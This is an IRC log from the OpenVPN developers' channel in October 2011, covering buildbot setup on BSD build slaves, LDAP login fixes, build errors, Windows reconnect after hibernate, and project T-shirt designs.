04:34 < aduitsis> So I'll be sure to have that in mind 04:34 <@dazo> yeah, some of the changes from James broke *BSD ... so testing those fixes would be good! 04:36 < aduitsis> thanks a lot guys! ... 04:36 <@dazo> aduitsis: thank you too! And please hang out and bug us whenever you stumble over some issues 04:37 < aduitsis> will do 04:38 <@cron2> I'm using 2.2+ipv6 patch on one of our corp OpenVPN servers, and one of the -testing betas on the other one, both running on FreeBSD 04:38 <@cron2> so I expect only minor issues 04:38 <@cron2> (FreeBSD 8 seems to behave a bit differently regarding routing setup, but I plan to test that in the next days) 04:39 < aduitsis> tun or tap mode 04:39 <@cron2> tun 04:39 < aduitsis> ah, good, we use 7 but we would love to know whether changes are needed to go to 8 04:39 <@cron2> production machines here are on 6 and 7 05:04 <@cron2> mattock: cron2-obsd49 cannot login to openvpn 05:05 <@mattock> cron2: ok, I'll try something then 05:05 <@cron2> can you check what the backend says? Password should be right 05:05 <@mattock> just a sec 05:07 <@mattock> try now 05:09 <@cron2> now it's authorizing just fine, and then failing due to local failure on OpenBSD 05:09 <@cron2> so what did you change? 05:10 <@cron2> gah 05:10 <@cron2> Tue Oct 11 12:09:51 2011 /sbin/ifconfig tun destroy 05:10 <@cron2> ifconfig: SIOCIFDESTROY: Invalid argument 05:10 <@cron2> I think an OpenBSD platform cleanup patch is direly needed 05:11 <@cron2> it works with "--dev tun0", but that's sort of missing the point... 05:12 <@mattock> the problem was the wrong dn in LDAP 05:13 <@mattock> I need to debug that further, but adding cn=cron2-obsd49 does not work, I need to use the funky cn=FJ3KGHAV... style stuff 05:13 <@mattock> adding to the proper LDAP group, that is 05:14 * cron2 doesn't understand LDAP, and just nods :) 05:14 <@cron2> openvpn configure has the same problem, failing to find lzo headers (because they are in /usr/local/) 05:16 <@cron2> but besides this, it compiles \o/ - two warnings in route.c, two warnigns about strcpy and strcat when linking 05:16 <@mattock> nice! 05:16 <@mattock> cron2: let's just say that LDAP auth looks for the first "cn" (commonName) entry it finds, and the first one is the funky one 05:17 <@dazo> the strcpy and strcat messages are annoying on OpenBSD ... 05:17 <@mattock> not the human-readable, nice one (cron2-obsd49) 05:17 <@cron2> mattock: where does the weird one come from, in the first place? 05:17 <@cron2> dazo: yes... 05:17 <@mattock> I would guess pwm, but I have not done any debugging 05:17 <@mattock> need to dig a little 05:17 <@cron2> as is "we do not have /dev/tap, but we have /dev/tun and you do 'ifconfig tun0 link0' to turn it into a tap device" 05:18 <@mattock> it does not affect logins to Trac or forums, so it's only affecting openvpn's LDAP auth 05:18 <@cron2> that's almost as weird as windows tap/tun 05:18 <@cron2> anyway, back to paid-for work, will play with the openbsd buildslave more tonight 08:46 <@mattock> does this look good enough for the T-shirts: http://build.openvpn.net/openvpntech_logo_rounded_antialiased.png 08:47 <@mattock> the original logo is too low resolution, it would pixelate badly 08:49 <@dazo> I think so 08:50 <@dazo> <not_serious>What about to add a text below: Connecting Networks</> :-P 08:52 <@mattock> I was thinking of "Connecting People" 08:52 <@mattock> like "Vodka - Connecting people" 08:52 <@mattock> :P 08:53 <@mattock> I'll upload a few images of the shirts, too 08:55 <@mattock> here's the basic black T-shirt: http://www.ooshirts.com/d/30629811 08:55 <@vpnHelper> Title: Custom T-Shirt Design "Black, standard logo" from ooShirts.com (at www.ooshirts.com) 08:55 <@dazo> "Connecting nerds" :-P 08:55 <@mattock> and http://www.ooshirts.com/d/30629811 08:56 <@mattock> the logo should probably be a little lower 08:56 <@mattock> navy blue is also ok 08:56 <@dazo> those links are identical 08:56 <@mattock> oh yes 08:56 <@mattock> true 08:57 * dazo preps for a meeting 08:57 <@mattock> there's only one design atm, my latest experiments have not arrived to my email yet 09:11 <@mattock> mkay, time for buildbot email setup 09:19 -!- Netsplit *.net <-> *.split quits: dguerri 09:24 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 09:50 <@mattock> cron2: I added your two other buildslaves to master.cfg: "cron2-openbsd-49-i386" and "cron2-netbsd-51-amd64" 09:51 <@mattock> those are the buildslave usernames 09:51 <@cron2> huh? not "slave-cron2-..." as on the freebsd machine? 09:52 <@cron2> it's not liking either variant, though 09:52 <@cron2> just tried openbsd, and it fails with Failure: twisted.cred.error.UnauthorizedLogin: 10:03 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 10:05 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Ping timeout: 256 seconds] 10:07 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 10:13 <@mattock> cron2: actually, it's still wip, seems to take longer than anticipated :) 10:15 <@mattock> ok, now 10:16 <@mattock> slave-cron2... 10:18 <@cron2> 2011-10-11 17:18:36+0200 [Broker,client] message from master: attached 10:18 <@cron2> so you have an openbsd49 slave now :) 10:19 <@mattock> nice! 10:19 <@cron2> the commands.py file is not yet adapted - is there anything else I need to do? Or just copy over the commands.py? 10:21 <@cron2> copied 10:22 <@cron2> done, can you send me a build job? 10:22 -!- aduitsis [~aduitsis@pc-aduitsis2.noc.ntua.gr] has quit [Read error: Connection reset by peer] 10:28 <@mattock> just a sec 10:29 -!- dazo is now known as dazo_afk 10:30 <@mattock> there's the t_client.rc issue 10:31 -!- raidz is now known as raidz_afk 10:32 <@cron2> *create empty t_client.rc* 10:32 <@cron2> done 10:32 <@mattock> otherwise build finished ok (with warnings at the end as with freebsd) 10:34 <@cron2> cool :) 10:34 <@cron2> so how's the mail project going on? 10:35 <@mattock> it's sending mails now 10:36 <@cron2> haven't seen anything 10:36 <@mattock> I wonder if this is a SF.net problem: "openvpn.git.sourceforge.net[0: 216.34.181.91]: errno=Operation not permitted" 10:36 <@cron2> this looks more like firewalling 10:36 <@mattock> oh yes 10:37 <@mattock> on FreeBSD buildslave 10:37 <@cron2> huh 10:37 <@mattock> for some reason puppet has trouble pushing the master.cfg to the build comp 10:37 <@cron2> oh 10:37 * cron2 has tightened pf rules yesterday ... 10:37 <@cron2> what port does git use? 10:38 <@mattock> not sure 10:39 <@cron2> 9418 10:40 <@cron2> freebsd should be working again now 10:40 <@cron2> but openbsd just broke down!? 10:40 <@cron2> Failure: twisted.cred.error.UnauthorizedLogin: 10:42 <@mattock> yes, puppet decided that _now_ it will apply the old catalog 10:42 <@mattock> -> old master.cfg 10:42 <@mattock> I'll let you know when things have calmed down :D 10:43 <@mattock> look better now 10:43 <@mattock> puppet not finished yet, though 10:46 <@mattock> ok, things _should_ have stabilized now 10:46 <@mattock> it was problem in unrelated puppet template file which caused the old catalog to be used 10:47 <@cron2> yeah, attached again 10:49 <@mattock> I'll trigger builds on both openbsd and freebsd 10:50 <@mattock> freebsd seems to be ok 10:50 <@cron2> cool. (I really tightened the pf rules there yesterday, as I don't want that box to be able to reach out and scan networks) 10:51 <@cron2> if we want connectivity tests, I need to allow root access, and this brings a certain risk with it... 10:52 <@cron2> (yeah, if someone with brains gets root, local pf is no big help, but for not-so-smart hacker wannabes, it helps) 11:06 -!- raidz_afk is now known as raidz 11:11 <@cron2> mattock: did you send openbsd as well? I only saw freebsd, I think 11:12 <@mattock> I was probably interrupted by a phone call when I was about to do that :) 11:12 <@cron2> ... and didn't get mails either yet :-) 11:12 <@cron2> phone calls are evil 11:12 <@mattock> ok, running 11:13 <@mattock> seems to work fine, configuring atm 11:13 <@mattock> re: connectivity tests... I think they'd be very useful 11:14 <@mattock> I don't like running the buildslaves as root, either, but if they (and the master) are locked down it's probably fine 11:14 * cron2 seems to remember having said so since a year or so... 11:14 <@cron2> I think something can be done about this, running openvpn from t_client.sh with sudo 11:16 * cron2 is away as well... 11:16 <@mattock> anyways, I'll setup the connectivity tests for my buildslaves as soon as I have some spare time 11:17 <@mattock> so that we have them for first 2.3 alpha 11:17 <@mattock> the problem itself has been solved (in buildbot), just needs to be migrated to the new dynamic configuration file 11:27 <@raidz> Hey guys, on the back of the OpenVPN T-shirt, what about adding: All your VPN are belong to us 11:38 <@mattock> sounds good to me! 11:38 <@mattock> that's a classic, after all 11:38 <@mattock> although... almost all your VPN are belong to us already 11:39 <@raidz> :-p 13:00 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 13:50 <@cron2> mattock: ok, then I'll do connectivity tests for mine... 13:50 <@cron2> what was "the problem itself"? 14:21 < uuuppz> any idea of an expected release data for 2.3? 14:25 <+ecrist> nope 14:25 <+ecrist> uuuppz: we haven't even tagged anything 2.3 yet 14:26 < uuuppz> oh sry I misread mattocks tihng about alpha as "we've got our first alpha of 2.3" 14:27 < uuuppz> oh dunno if I mentioned, I've got a sort of solution to the hibernate/resume issue 14:27 < uuuppz> on windows obviously 14:27 < uuuppz> been running with it for a couple of weeks now 14:27 < uuuppz> nd I haven't need to restart openvpn once 14:30 < uuuppz> I think actually is the only solution 14:30 < uuuppz> I hook the power events 14:30 < uuuppz> on suspend 14:30 < uuuppz> I kill all openvpn processes 14:30 < uuuppz> on resume I start them afresh 14:32 < uuuppz> probably would make most sense in openvpn.exe itself to do something similar 14:35 < uuuppz> but same approach I've taken could be done in openvpn gui 14:37 <@cron2> uuuppz: I think d12fk was thinking along similar lines. You really should bundle your efforts :-) 14:37 <@cron2> regarding 2.3 release - there's a few more things to do before that, like 14:37 <@cron2> - merge (and thorougly test) andjs patches 14:38 <@cron2> - platform cleanup for (at least) OpenBSD and FreeBSD 14:38 <@cron2> - buildbot automated client tests 14:38 <@cron2> dazo: btw, what's delaying the merge of andj's patches? *poke* 14:40 < uuuppz> ah cool 14:41 <@cron2> and I think there's lots of windows cleanup in people's queue... 14:41 <@cron2> (don't look at me, I don't know nothing about windows!) 14:42 < uuuppz> I'm more than willing to point d12fk in the right direction for this and or give a hand working out the power apis (I'm using the .NET wrapper which is stupidly simple) 14:42 < uuuppz> but keeping independant cos I'm working in .net and specific stuff I want going for my own internal uses here 14:43 <@cron2> yeah... 14:44 < uuuppz> tbh for this kind of solution 14:44 < uuuppz> anything I can do in the .net client 14:45 < uuuppz> can be done in the gui 14:45 < uuuppz> just with a load more win32 api nastyness 14:46 < uuuppz> heres something I've been trying to work out 14:47 < uuuppz> consider these three situaitons 14:47 < uuuppz> (in all an ovpn connection is active and working) 14:48 < uuuppz> 1) network drops and immediately reconnections 14:48 < uuuppz> s/reconnections/reconnect 14:49 < uuuppz> 2) shutdown, physically move to network to which we were VPNing (in my case plug onto dock in office), resume 14:49 < uuuppz> 3) at home using wireless, wireless drops, reconnect using 3g 14:49 < uuuppz> .... 14:50 < uuuppz> For 1: The existing connection can probably be kept active - as just some packet loss would occur 14:50 < uuuppz> For 2: The vpn connection should be killed 14:50 < uuuppz> For 3: VPN connection should be restarted 14:52 < uuuppz> hm 2 can be solved easilly - firewall vpn ip in office and the restart on resume logic will take care of things 14:53 < uuuppz> 1) is current behaviour 14:53 < uuuppz> 3) is the difficult one 14:53 < uuuppz> (to do inteligently and not screw 1)) 14:58 < uuuppz> ah 14:58 < uuuppz> I've a clever solution! 14:59 < uuuppz> 1) when vpn con is established - extract ip that was used as remote 14:59 < uuuppz> 2) work out which interface traffic to that ip will be routed on 15:00 < uuuppz> 3) repeat 2) periodically if interface properties change or a different interface is chosen cause a restart 15:03 < uuuppz> would actually remove need for the power events method 15:04 < uuuppz> problem will be 15:04 < uuuppz> that network stack was completely replaced in vista 15:04 < uuuppz> so its likely that differences in behaviour will be seen between pre and post vista os's 15:04 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 16:56 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:21 -!- novaflash is now known as novaflash_away 19:13 -!- raidz is now known as raidz_afk 20:03 -!- raidz_afk is now known as raidz 20:19 -!- raidz is now known as raidz_afk 20:34 -!- raidz_afk is now known as raidz 21:32 -!- raidz is now known as raidz_afk 22:01 -!- raidz_afk is now known as raidz --- Day changed Wed Oct 12 2011 01:10 <@mattock> cron2: re: "the problem"... not really any problem, just a slightly complex buildbot setup 01:49 <@cron2> mattock: cron2-nbsd51, please repair LDAP :-) 01:51 -!- novaflash_away is now known as novaflash 01:57 -!- novaflash is now known as novaflash_away 02:07 <@mattock> cron2: try now 02:09 <@cron2> huh 02:09 <@cron2> openvpn is up, *and* buildslave started without complaints 02:10 <@mattock> that's weird ;) 02:10 <@mattock> shall I trigger a build? 02:11 <@mattock> (need the empty t_client.rc) 02:12 <@cron2> created, please build 02:27 <@cron2> mattock: go away from that telephone! :-) 02:27 <@mattock> ah, sorry 02:27 <@mattock> was not the telephone this time :) 02:29 <@mattock> exceptions.RuntimeError: Couldn't find executable for 'git' 02:30 <@mattock> might be related to Git executable detection in Buildbot (or not) 02:41 <@cron2> mmmh 02:41 <@cron2> checking $PATH 02:42 <@cron2> meh 02:43 <@cron2> pkg-add for git failed due to problems with dependencies, and I didn't notice 02:43 <@cron2> please try again 02:45 <@mattock> ok 02:45 -!- raidz is now known as raidz_afk 02:45 <@mattock> configuring... 02:46 <@cron2> make... :) 02:46 <@cron2> meh, make fail 02:46 <@mattock> yep 02:46 <@mattock> In file included from crypto.c:29: 02:46 <@mattock> crypto.h:63:29: error: openssl/des_old.h: No such file or directory 02:46 <@mattock> *** Error code 1 02:46 <@cron2> grrr 02:47 <@cron2> we really need to get andj's code merged in 02:47 <@cron2> dazo: *poke* 02:49 <@cron2> mattock: please retry, I've vandalized my system even further to provide this 02:49 <@cron2> symlinking lzo stuff all over the place, adding deprecated header files, ... 02:49 <@mattock> building 02:50 <@cron2> success! 02:52 <@cron2> so how's the mail project going? 02:57 -!- dazo_afk is now known as dazo 02:57 <@mattock> yep 02:58 <@mattock> it _should_ be sending mails, but something is still broken 03:01 <@mattock> btw. here are two simple T-shirt designs: http://www.ooshirts.com/d/84602203 03:01 <@vpnHelper> Title: Custom T-Shirt Design "Black v2" from ooShirts.com (at www.ooshirts.com) 03:01 <@mattock> http://www.ooshirts.com/d/69042852 03:01 <@vpnHelper> Title: Custom T-Shirt Design "Navy v1" from ooShirts.com (at www.ooshirts.com) 03:06 <@dazo> mattock: I like the black one better ... as the blue "VPN" is more visible ... I just don't want to be "Open" ;-) 03:06 <@mattock> yep, me too 03:06 <@mattock> it's of course possible to change the blue to a lighter tone 03:06 <@mattock> for the navy blue shirt 03:22 <@mattock> cron2: one mail from openvpn-builds seems to have arrived now 03:22 <@mattock> it came in a bit late 03:24 <@cron2> mattock: yeah, got the mail. Is there a way to include the actual failure text in the mail? Then you can see right away "ah, des_old.h" and don't have to fire up OpenVPN, click on the link, etc. 03:24 <@cron2> like - I'm at work now, and cannot access the community VPN from here 03:24 <@mattock> yes, it's possible 03:24 <@cron2> cool 03:25 <@mattock> I think it makes sense... others (without VPN access) could still fix the issues 03:25 <@mattock> or help with fixing more easily 03:25 <@cron2> and that, yeah 03:25 <@mattock> I'll flip a switch 03:26 <@cron2> t-shirt design is fine, both navy and black would work for me 03:26 <@cron2> dazo: now that you've woken up... *poke* 03:29 <@dazo> cron2: whazzup :) 03:29 <@mattock> restarting buildbot with log sending enabled 03:30 <@cron2> dazo: please be merging andj's patches 03:30 <@dazo> cron2: yeah ... I'll try to get started on that some day soonish ... 03:31 * cron2 doesn't like sentences with "try" "some day" and "ish" in them... :-o 03:32 <@mattock> dazo: you can "sparkle" the patches to "master" if you want to convert a chore into something magical (cron2's word, not mine) :P 03:33 <@cron2> "sprinkle" is the word you want to use :-) - and I don't think it works for git repositories 03:33 <@mattock> oh yes, "sprinkle" 03:33 <@mattock> my bad 03:33 <@mattock> cron2: log sending seems to work 03:33 <@cron2> cool 03:34 <@mattock> hope that does not trigger SF.net spam filters or anything 03:34 <@cron2> (mail has not yet arrived here, most likely it's fighting with spamassassin - my mail machine is slooowww) 03:35 <@cron2> ah, mail is here. Looks good to me. 03:37 <@cron2> so - next steps: t_client.rc on *BSD, and platform cleanup for Free and Open 03:37 <@cron2> (and Open really is a mess, "--dev tun" just doesn't work at all...) 03:50 <@dazo> mattock: sf.net has spam filtering?!? ......... 03:50 <@mattock> I _suppose_ they might have something in place 03:51 <@mattock> could be wrong 03:51 <@dazo> considering that most of my spam mails comes via the sf.net address, I somehow can't imagine it being much efficient 03:53 <@mattock> ok, that's good (in this case) 06:21 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:37 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel 08:30 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Quit: Leaving.] 09:44 -!- novaflash_away is now known as novaflash 11:03 -!- raidz_afk is now known as raidz 12:09 -!- dazo is now known as dazo_afk 12:19 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 12:54 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has quit [Quit: BRB] 13:25 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 14:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:09 <@vpnHelper> RSS Update - tickets: #150: Verify that PolarSSL refactoring has not affected authentication functions <https://community.openvpn.net/openvpn/ticket/150> || #128: Connection errors <https://community.openvpn.net/openvpn/ticket/128> || #143: remote-random-hostname bug <https://community.openvpn.net/openvpn/ticket/143> || #145: pkcs11 support is missing in openvpn 2.2.0 for windows <https://community.openvpn.net/openvpn/ticket/145> || # 14:10 <@vpnHelper> RSS Update - wishlist: adaptive compression including time to (de)compress data <http://forums.openvpn.net/topic8883.html> || Incorporate technology to fend off website fingerprinting <http://forums.openvpn.net/topic8760.html> || another request <http://forums.openvpn.net/topic8625.html> || update on the requested protocol <http://forums.openvpn.net/topic8613.html> || How to modify the code and build it using msys for Windows <http:// 14:10 <@vpnHelper> RSS Update - testtrac: Move block for "stale-routes-check" config inside #ifdef P2MP_SERVER block <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=32ab329bc69c6292c205d4f33a4b8069341798d3> || New feauture: Add --stale-routes-check <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3a957aaef3ae512b217dd475a846a0ea35aae49c> || Platform cleanup for Ne 15:19 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 19:01 -!- raidz is now known as raidz_afk 19:04 -!- novaflash is now known as novaflash_away 19:38 -!- raidz_afk is now known as raidz --- Day changed Thu Oct 13 2011 00:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 00:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:00 -!- raidz is now known as raidz_afk 03:31 -!- dazo_afk is now known as dazo 05:14 -!- novaflash_away is now known as novaflash 05:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 05:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 06:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 08:21 <@cron2> meeting today? 08:59 <@andj> cron2: dunno... I'll be around ath meeting time just in case... 09:00 <@cron2> andj: your stuff is all done, isn't it? (except for not having poked dazo enough yet) 09:17 <@dazo> andj: is your git tree updated? I can pick stuff from there? 09:27 <@andj> dazo: updated? as in rebased on master? 09:27 <@andj> cron2: true, but doesn't mean I can hang around and check on any issues 09:28 <@dazo> andj: your last commits from reviews ... and probably should be rebased on master 09:28 <@andj> dazo: yeah, those are updated 09:28 <@andj> but it isn't rebased on master 09:28 <@andj> since that would change commit ids 09:28 <@dazo> oh, true! 09:28 <@andj> and destroy our nice page :) 09:29 <@dazo> yeah ... 09:31 <@dazo> well, the challenge is that then I need to solve merge conflicts in code paths I have less overview over ... 09:31 * dazo thinks 09:34 <@andj> I can rebase them 09:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:34 <@andj> at some point in the near future 09:34 <@mattock> meeting today? 09:35 <@dazo> I would like to join today .... but my time schedule doesn't quite agree ... and next week I'll be on a conference too 09:36 * dazo was convinced October would be kinder to the schedule .... couldn't be more wrong :( :( :( 09:36 <@andj> I'll be around to answer questions, etc. But not an active participant for a change :) 09:37 <@cron2> let's just skip meeting today and next week 09:37 <@cron2> (I'm sitting in a train next thursday at meeting time) 09:38 <@cron2> I don't think there is anything we can do much progress *by having a meeting* 09:38 <@cron2> we all know what to do next :-) (t_client, rebase, merge, ...) 09:38 <@dazo> For me to progress, I need coding time ... and andj's patches are high on the list now 09:42 <@dazo> andj: if you're able to have completed the rebase by Tuesday afternoon, I can pull down your latest stuff and start poking on it when I'm in a plane ... From the overview pages, I can surely grasp thing out of the subject lines ... so not sure we need to do too much there 09:45 <@dazo> Reg. "Refactored username and password authentication code" needing testing ... I can also help out testing this in the --plugin code paths 09:46 <@mattock> skip the meeting, sounds good for a change :P 09:48 <@andj> dazo: sounds good, I'll see what I can do for tuesday 09:48 <@dazo> andj: thx a lot! 09:48 <@andj> it shouldn't be too bad as far as I can tell 09:48 <@dazo> hopefully not for someone who has done changes in those code paths :) 09:49 * dazo still have nightmares from merging in Jame's SVN tree last time 09:49 <+krzie> lol 09:50 <@andj> that merge might haunt me a little too 09:50 <@andj> with my patches 09:50 <@andj> but we'll see 09:51 <@dazo> yeah, but I don't think you do any changes to route.{c,h} ... that's the worst places, iirc 09:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 09:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 10:05 -!- dazo is now known as dazo_afk 10:07 * cron2 is going to send in changes to route.c soon :) 10:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:51 -!- raidz_afk is now known as raidz 13:02 -!- MikeJansen [~mike@cpe-067-023-147-094.static.wadsnet.com] has joined #openvpn-devel 13:31 -!- dazo_afk is now known as dazo 13:35 -!- MikeJansen [~mike@cpe-067-023-147-094.static.wadsnet.com] has quit [Read error: Connection reset by peer] 15:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:52 -!- dazo is now known as dazo_afk 17:15 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 244 seconds] 17:21 -!- novaflash is now known as novaflash_away 17:22 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 17:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 18:11 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Fri Oct 14 2011 04:40 <@d12fk> uuuppz: about the hibernate thing you solved 04:43 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 04:47 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:47 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:31 -!- novaflash_away is now known as novaflash 08:07 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 08:16 < uuuppz> d12fk: yep? 08:47 <@d12fk> uuuppz: you mentioned a .net api 08:47 <@d12fk> did you aplly that to the service you wrote? 08:49 <@d12fk> cause currently the ovpn service doesnt react to power events, instead the gui does it, which is the wrong place imo 08:55 < uuuppz> yep I did it in the service 08:55 < uuuppz> and I totally agree 08:55 < uuuppz> since when using a service its a client/server model 08:55 < uuuppz> the client (eg gui) may not be running 08:56 <@d12fk> true 08:57 < uuuppz> power events thing tho 08:57 < uuuppz> doesn't solve the issue of moving from Wifi -> lan 08:57 < uuuppz> or similar 08:57 < uuuppz> with an open connection 08:57 < uuuppz> this one hit me yesterday infact 08:58 < uuuppz> plugged in on lan at home cos I was hosting a multiuparty skype call and wanted latency 08:58 < uuuppz> obviously caused me to have to manually disconnect and reconnect vpn 08:58 < uuuppz> etc 09:00 < uuuppz> bare in mind the rest of my windows networking plays nice with this transition 09:00 < uuuppz> which is why I think its important 09:13 < SviMik> if you disabled wifi, then vpn connection should be broken anyway, which is causing reconnect... 09:14 < SviMik> or you leave both wifi and lan connected? 09:16 < SviMik> in last case I don't think openvpn should take any action, if link is still usable 09:18 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has left #openvpn-devel [] 09:18 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 10:44 < uuuppz> svimik: not true dropping wireless does not kill the connection 11:34 -!- novaflash is now known as novaflash_awayfo 11:35 <@d12fk> uuuppz: then you probably need --keepalive 11:47 -!- novaflash_awayfo is now known as novaflash --- Log closed Fri Oct 14 11:58:31 2011 --- Log opened Tue Oct 18 14:38:51 2011 14:38 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:38 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 2 voices, 6 normal] 14:38 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 16:05 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 18:17 -!- novaflash is now known as novaflash_away 19:12 -!- raidz is now known as raidz_afk 20:07 -!- raidz_afk is now known as raidz --- Day changed Wed Oct 19 2011 00:19 -!- raidz is now known as raidz_afk 00:26 -!- raidz_afk is now known as raidz 01:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 01:46 -!- raidz is now known as raidz_afk 03:14 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 03:15 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:19 <@andj> hmm, interesting 04:19 <@andj> http://developer.android.com/sdk/android-4.0-highlights.html#UserFeatures 04:19 <@vpnHelper> Title: Android 4.0 Platform Highlights | Android Developers (at developer.android.com) 04:19 <@andj> way at the bottom 04:19 <@andj> "VPN client API" 05:12 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 05:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 07:15 < ecrist> andj: it only mentions L2TP and IPSec 07:17 <@andj> it also mentions a user-space accesible API for input and output packets 07:17 <@andj> and changing routing rules 07:21 < ecrist> No word of tun or tap, though. 07:44 <@andj> nope, that's true 10:58 -!- raidz_afk is now known as raidz 11:23 -!- novaflash_away is now known as novaflash 11:24 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 12:01 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 258 seconds] 12:03 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 12:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:44 -!- novaflash is now known as novaflash_away 19:17 -!- raidz is now known as raidz_afk 20:01 -!- raidz_afk is now known as raidz 20:04 -!- raidz is now known as raidz_afk 20:08 -!- raidz_afk is now known as raidz 20:08 -!- raidz is now known as raidz_afk 20:10 -!- raidz_afk is now known as raidz 20:11 -!- raidz is now known as raidz_afk 20:13 -!- raidz_afk is now known as raidz 20:13 -!- raidz is now known as raidz_afk 20:15 -!- raidz_afk is now known as raidz 20:18 -!- raidz is now known as raidz_afk 20:19 -!- raidz_afk is now known as raidz 21:42 -!- raidz is now known as raidz_afk 21:50 -!- raidz_afk is now known as raidz 21:51 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 21:56 -!- raidz is now known as raidz_afk 21:56 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:56 -!- raidz_afk is now known as raidz 21:57 -!- raidz is now known as raidz_afk 22:00 -!- raidz_afk is now known as raidz 22:01 -!- raidz is now known as raidz_afk 22:02 -!- raidz_afk is now known as raidz 22:13 -!- raidz is now known as raidz_afk 22:18 -!- raidz_afk is now known as raidz 22:18 -!- raidz is now known as raidz_afk 22:19 -!- raidz_afk is now known as raidz 22:40 -!- raidz is now known as raidz_afk 22:41 -!- raidz_afk is now known as raidz 23:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 23:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Thu Oct 20 2011 00:36 -!- raidz is now known as raidz_afk 00:37 -!- raidz_afk is now known as raidz 02:10 -!- 